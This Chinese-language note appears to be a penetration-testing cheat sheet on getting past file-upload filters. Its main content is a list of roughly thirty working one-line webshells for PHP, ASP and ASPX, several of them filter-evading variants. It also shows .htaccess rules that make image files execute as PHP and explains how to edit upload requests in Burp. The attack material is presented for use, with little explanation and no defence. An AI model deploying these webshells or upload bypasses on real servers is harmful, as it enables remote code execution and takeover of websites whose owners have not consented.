文件后缀过滤

前端过滤

将一句话木马后缀改为允许上传的文件名,burp 抓取流量修改 post 包里面的 filename 后缀名为 php

后端过滤

WebShell一句话

来源:https://blog.csdn.net/Wu000999/article/details/84259224

PHP一句话

  1. <?php eval($_POST1);?>
  2. <?php @eval($_POST['value']);?>
  3. <?php if(isset($_POST['c'])){eval($_POST['c']);}?>
  4. <?php system($_REQUEST1);?>
  5. <?php ($_=@$_GET1).@$_($_POST1)?>
  6. <?php eval_r($_POST1)?>
  7. <?php @eval_r($_POST1)?>//容错代码
  8. <?php @eval($_POST[sb])?>
  9. <?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
  10. <?$_POST['c']($_POST['cc']);?>
  11. <?$_POST['c']($_POST['cc'],$_POST['cc'])?>
  12. <?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
  13. <?php echo `$_GET['r']` ?>
  14. //绕过<?限制的一句话
  15. <script language="php">@eval_r($_POST[sb])</script>
  16. <?php eval($_POST[sb])?>
  17. <?php assert($_POST[sb]);?>
  18. <?$_POST['sa']($_POST['sb']);?>
  19. <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
  20. <?php @preg_replace("/[emai]/e",$_POST['h'],"error");?>
  21. <script language="php">@eval($_POST[sb])</script> //PHP5.X下可以用于绕过<?

ASP一句话

  1. <%eval request("MH")%>
  2. <%execute request("MH")%>
  3. <%execute(request("MH"))%>
  4. <%If Request("MH")<>"" Then Execute(Request("MH"))%>
  5. <%if request ("MH")<>""then session("MH")=request("MH"):end if:if session("MH")<>"" then execute session("MH")%>
  6. <SCRIPT language=VBScript runat="server">execute request("MH")</SCRIPT>
  7. <%@ Page Language="Jscript"%>
  8. <%eval(Request.Item["MH"],"unsafe");%>

ASPX一句话

  1. <%@ Page Language="Jscript"%>
  2. <%eval(Request.Item["value"])%>

.htaccess修改文件后缀(文件解析漏洞)

启用 .htaccess ,需要修改 httpd.conf ,启用 AllowOverride ,并可以用 AllowOverride 限制特定命令的使用。
.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
改变文件扩展名几种配置方法:

  1. AddType application/x-httpd-php .jpg //jpg解析为php
  1. SetHandler application/x-httpd-php //任意后缀均被解析为php
  1. <FilesMatch "1.png">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>
  4. //文件1.png被解析为php

改变 .htaccess 配置后造成文件解析漏洞,将其他后缀文件解析成 php 文件,即将文件内容当作 php 代码执行

利用思路

当限制不能使用后缀名含有 ph ,没有文件包含,通过修改 .htaccess ,将其他文件解析成 php 文件。

Nginx与.htaccess

.htaccess 是 Apache 的特性,Nginx 默认不支持,但可以通过修改配置文件让 Nginx 也支持 .htaccess 。